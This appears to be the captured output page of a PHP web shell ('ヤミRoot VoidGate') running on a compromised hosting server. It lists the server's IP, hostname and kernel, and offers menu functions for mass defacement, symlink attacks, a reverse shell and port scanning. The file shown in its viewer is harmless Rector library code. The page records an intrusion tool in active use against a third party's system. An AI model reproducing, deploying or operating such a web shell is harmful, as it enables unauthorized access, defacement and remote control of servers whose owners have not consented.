ヤミRoot VoidGate
User / IP
:
216.73.216.169
Host / Server
:
146.88.233.70 / www.dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
opt
/
cpanel
/
ea-wappspector
/
vendor
/
rector
/
rector
/
src
/
Console
/
Style
/
Viewing: SymfonyStyleFactory.php
<?php declare (strict_types=1); namespace Rector\Console\Style; use Rector\Util\Reflection\PrivatesAccessor; use RectorPrefix202411\Symfony\Component\Console\Application; use RectorPrefix202411\Symfony\Component\Console\Input\ArgvInput; use RectorPrefix202411\Symfony\Component\Console\Output\ConsoleOutput; use RectorPrefix202411\Symfony\Component\Console\Output\OutputInterface; final class SymfonyStyleFactory { /** * @readonly * @var \Rector\Util\Reflection\PrivatesAccessor */ private $privatesAccessor; public function __construct(PrivatesAccessor $privatesAccessor) { $this->privatesAccessor = $privatesAccessor; } /** * @api */ public function create() : \Rector\Console\Style\RectorStyle { // to prevent missing argv indexes if (!isset($_SERVER['argv'])) { $_SERVER['argv'] = []; } $argvInput = new ArgvInput(); $consoleOutput = new ConsoleOutput(); // to configure all -v, -vv, -vvv options without memory-lock to Application run() arguments $this->privatesAccessor->callPrivateMethod(new Application(), 'configureIO', [$argvInput, $consoleOutput]); // --debug is called if ($argvInput->hasParameterOption('--debug')) { $consoleOutput->setVerbosity(OutputInterface::VERBOSITY_DEBUG); } // disable output for tests if ($this->isPHPUnitRun()) { $consoleOutput->setVerbosity(OutputInterface::VERBOSITY_QUIET); } return new \Rector\Console\Style\RectorStyle($argvInput, $consoleOutput); } /** * Never ever used static methods if not neccesary, this is just handy for tests + src to prevent duplication. */ private function isPHPUnitRun() : bool { return \defined('PHPUNIT_COMPOSER_INSTALL') || \defined('__PHPUNIT_PHAR__'); } }
Coded With 💗 by
0x6ick